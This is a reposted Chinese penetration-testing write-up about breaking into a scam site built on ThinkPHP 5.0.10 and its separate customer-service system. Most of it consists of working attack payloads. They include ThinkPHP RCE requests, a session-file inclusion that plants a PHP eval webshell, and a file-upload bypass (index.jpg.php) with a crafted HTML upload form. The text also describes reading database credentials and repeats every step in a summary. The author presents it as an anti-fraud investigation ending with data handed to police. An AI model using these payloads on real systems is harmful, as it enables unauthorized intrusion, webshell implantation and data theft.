发布于2022年11月5日3年前 最近接到任务,调查一个诈骗团伙上面有一个注册接口,直接先注册一个用户看看他们怎么诈骗的好家伙,用户赚了8个亿,充值过的用户直呼内行。这种站点一看就是那种诈骗团伙的杀猪盘,使用的那种tp5的框架一键搭建,方便又省事。后来根据报错信息的确是tp5.0.10的框架还开了debug模式,老杀猪盘了。直接先用tp5rce打出phpinfo看s=captcha _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo看来禁的函数比较多,这个时候用tp5的rce和写shell就比较困难,使用tp5日志包含和session包含来getshell就十分的方便。日志包含还需要去找文件,我这里就直接是session包含来getshell先通过设置session会话并传入一句话木马?s=captcha _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();这个时候我们就可以通过蚁剑连上shell了需要把post传入的参数加在蚁剑连接的http body里面连上后通过找到config下的database.php找到数据库密码账号里面还有财务和技术的联系方式直接登陆后台好家伙,会员数30人,还有400多个机器人,金额在后台可以随便修改,太欺负人了。打到这里总感觉信息还有点少啊,只有几个手机号,还有诈骗团伙的用来收款的银行卡,于是我又在运营站上面收集信息,原来客服的站点是其他服务器上面通过目录扫描找到客服后台试了一下弱口令,居然连admin这个用户都没有,这管理员意识还挺好的。拿出我珍藏的字典爆破了一下,也没有发现存在的用户,我猜测他的用户名要么是电话号码,要么就是很长的用户名。看来进后台是不行的了然后通过ip反查发现也没有旁站,这个站点只有这个客服系统扫了一下子域名也没有任何的发现但是页面下面有一个Powered by 爱客服PHP在线客服系统,我觉得网上应该是有源码的,就去百度了一下,还真有源码。网站是基于tp二次开发的,但是tp的rce已经没有了。只有一步步的审计了翻了很久在application/admin/controller/Event.php文件中找到了一处基于黑名单的上传函数uploadimg定义一个上传函数uploadimg,然后定义一个变量name来获取到文件名,并用一个点以数组的方式隔开,而通过变量ext来获取到数组的第二个作为检测,当文件传入index.html,$ext=html,html在黑名单内所以就上传不成功,如果是文件传入index.jpg.php,$ext=jpg,jpg没有在黑名单,所以就可以上传成功。根据tp的路由规则这个上传点应该在/admin/event/uploadimg这个位置它这个页面没有上传点,只有自己构造一个上传页面了<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data"> <label for="file">晨光客服上传</label> <input type="file" name="editormd-image-file" id="editormd-image-file"> <input type="submit" name="submit" value="submit"> </form> 如果是上传index.php的话的确是上传不成功的如果是上传index.jpg.php是可以上传成功的拿下该客服站点打包后台数据交给jc在这里呼吁大家千万别相信什么刷单的,叫你充值就可以领钱的,都是假的,千万别想一夜暴富,占什么小便宜,天下没有免费的午餐。这里放几张图给大家看一下这些诈骗团伙还理直气壮,有理有据,只会叫你越充越多,典型的杀猪盘渗透总结:1.注册一个测试账号2通过报错,发现是tp5.0..103.使用TP5RCE查看phpinfos=captchapost:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo发现危险函数被禁用了4.使用tp5日志包含和session包含来getshell5.通过设置session会话并传入一句话木马?s=captchapost:_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=16.利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid?s=captchapost:_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();7.通过蚁剑连上shell,需要把post传入的参数加在蚁剑连接的http body里面8.通过后台源码查看发现客户服务后台。9.发现服务后台为爱客服PHP在线客服系统,该系统存在文件上传漏洞/admin/event/uploadimg<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data"><label for="file">晨光客服上传</label><input type="file" name="editormd-image-file" id="editormd-image-file"><input type="submit" name="submit" value="submit"></form>原文链接: https://xz.aliyun.com/t/9286
创建帐户或登录后发表意见